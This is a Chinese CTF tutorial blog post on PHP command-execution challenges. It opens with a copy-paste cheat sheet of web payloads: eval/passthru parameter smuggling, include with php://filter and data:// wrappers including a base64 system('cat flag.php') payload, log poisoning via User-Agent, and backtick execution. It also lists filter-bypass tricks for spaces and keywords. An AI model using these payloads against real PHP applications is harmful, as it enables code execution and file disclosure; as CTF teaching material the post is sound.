一篇文章带你进阶CTF命令执行

以下的命令是为了方便以后做题时方便各位读者直接来这里复制使用,刚开始还请先看完这篇文章后才会懂得下面的命令

?c=eval($_GET[shy]);­=passthru('cat flag.php');      #逃逸过滤 

?c=include%09$_GET[shy]?>­=php://filter/read=convert.base64-encode/resource=flag.php        #文件包含

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php           #文件包含
?c=include$_GET[cmd]?>&cmd=data://text/plan,  #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==        #文件包含

?c=data:text/plain; POST: 1=tac flag.php   #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入   #文件日志包含

?c=echo(`tac%09f*`);   #反引号

                                                                          正文

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> ${IFS} $IFS$9 {cat,fl*} %20

注:

%09  ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.‘’    (例如fl‘’ag)

2.“”     (例如fl""ag)

3.?       (例如fl??)

4.*          (例如fl*)

既然是进阶,那光讲基础知识那可不行!

1.代码注入攻击(逃逸过滤)

原理就是写入参数,利用它作为中间人逃逸过滤,这是一种危害极大的漏洞

拿一道题举例:

一篇文章带你进阶CTF命令执行_第1张图片

?c=eval($_GET[shy]);­=passthru('cat flag.php');

在这段代码中,使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中,如果你通过 URL 的查询参数传递 c=eval($_GET[shy]),那么这个参数会被当做 PHP 代码执行,最终达到逃逸对c的过滤,毕竟那是过滤c的,管我shy什么事!

2.文件包含漏洞

还是上面那道题目

?c=include%09$_GET[shy]?>­=php://filter/read=convert.base64-encode/resource=flag.php

 注:分号可以使用>? 代替,而这里又过滤了分号的

$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 include 函数进行包含。

再通过查询参数传递 c=include%09$_GET[shy]?>,会将 GET 参数 "shy" 的值作为文件包含的路径,并执行该文件的内容。

而通过查询参数传递 shy=php://filter/read=convert.base64-encode/resource=flag.php,则将 php://filter/read=convert.base64-encode/resource=flag.php 作为 GET 参数 "shy" 的值。在这个例子中,php://filter 是 PHP 的过滤器机制,read=convert.base64-encode 表示读取文件并将其内容转换为 Base64 编码,resource=flag.php 表示要读取的文件路径是 flag.php

这段代码的目的是将 flag.php 文件的内容以 Base64 编码的形式返回给用户。

一篇文章带你进阶CTF命令执行_第2张图片

如果不能理解那就强烈推荐一篇文章《一篇文章带你入门文件上传》

一篇文章带你入门文件包含-CSDN博客

ps:如果看到了题目看到了include,就直接使用我的一篇文章带你入门文件包含-CSDN博客的指令,如果没有看到,那就使用我这篇文章上面的指令。

3.伪协议

?c=data:text/plain; POST: 1=tac flag.php

这段代码的含义是尝试通过 PHP 的 system 函数执行通过 POST 方法传递的命令,具体命令是反向显示(逐行倒序)flag.php 文件的内容。

还有?c=data:text/plain,本质是一样的

常见命令:

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==


 

4.文件日志包含

还是拿上面那道题目举例:

在User-Agent插入
(当然换个命令也可以,比如

?c=/var/log/nginx/access.log

就像这样

一篇文章带你进阶CTF命令执行_第3张图片

文件日志直接给你了,接下来ctrl+f可以直接搜索网页特殊字符,比如flag,接下来网页就会帮你锁定位置,是不是以为flag就直接出来了?当然没有那么简单,哈哈,这次没有flag,不过这条命令一般都是可以执行的,可以看到很多有用信息,有些题目有时甚至flag就直接出来了

5.反引号shell 命令执行

命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

一篇文章带你进阶CTF命令执行_第4张图片

?c=echo(`tac%09f*`);

真心希望大家在读了我的文章后能够有所获!

 

你可能感兴趣的:(命令执行进阶,web安全,PHP)